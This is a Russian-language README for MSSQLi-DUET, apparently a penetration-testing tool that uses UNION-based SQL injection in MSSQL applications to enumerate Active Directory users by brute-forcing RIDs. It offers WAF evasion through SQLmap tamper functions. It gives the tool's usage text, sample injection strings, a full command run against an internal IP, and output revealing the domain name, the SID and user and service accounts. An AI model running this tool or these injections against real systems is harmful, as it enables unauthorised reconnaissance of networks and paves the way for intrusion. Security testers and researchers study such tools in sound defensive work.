
Скрипт SQL-инъекции для MSSQL, который извлекает пользователей домена из среды Active Directory на основе RID-перебора
Скрипт для SQL-инъекций в MSSQL, который извлекает пользователей домена из среды Active Directory на основе брутфорса RID. Поддерживает различные методы обхода WAF через реализацию функций tamper из SQLmap. Пользователь может добавлять дополнительные функции tamper в зависимости от ситуации и окружения.
Предлагается в двух вариантах: непосредственно Python-скрипт для использования в терминале или плагин для Burp Suite для простой навигации через графический интерфейс.
В настоящее время поддерживает только инъекции на основе UNION. Требуется больше примеров и тестовых случаев для полной проверки функциональности и точности инструмента. Приветствуются отзывы и комментарии, если вы столкнулись с ситуацией, когда он не работает.
Настройка скрипта и плагина под ваши нужды также не должна быть слишком сложной. Обязательно прочитайте раздел «Примечания» для устранения неполадок.
После загрузки плагина в Burp Suite щелкните правой кнопкой мыши по запросу и отправьте его в MSSQLi-DUET. Более подробная информация о параметрах и т.д. описана ниже.
Запрос появится в окне запроса, и нужно будет заполнить только поля над ним. После нажатия «Run» вывод будет помещен в поле результатов для удобного копирования.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
После выявления SQL-инъекции на основе UNION в приложении скопируйте сырой запрос из Burp Suite с помощью функции 'copy to file'.
Передайте сохраненный запрос DUET с флагом -r. Укажите уязвимый параметр, а также точку инъекции. Например, если параметр "element" подвержен SQL-инъекции, -p будет "element". DUET автоматически построит все SQL-запросы для инъекции, но необходимо указать начальную инъекцию. То есть, если инъекция происходит из-за одной апострофа после данных параметра, именно это и нужно указать для аргумента -i.
Ex: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
Скрипт может потребовать модификации в зависимости от ограничений приведения типов и типов столбцов, которые будут обнаружены. Это включает изменения для переключения позиции столбца полезной нагрузки, а также модификацию самих строк запроса для учета типов столбцов, которые не вызывают ошибок.
Кроме того, логика определения количества столбцов в настоящее время не самая лучшая, и, возможно, некоторые сравнения нужно будет закомментировать, чтобы обеспечить правильное определение.
В целом, просто посмотрите на запросы, отправляемые в Burp, и настройте скрипт в соответствии с условиями SQL-инъекции, в которых вы оказались.
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/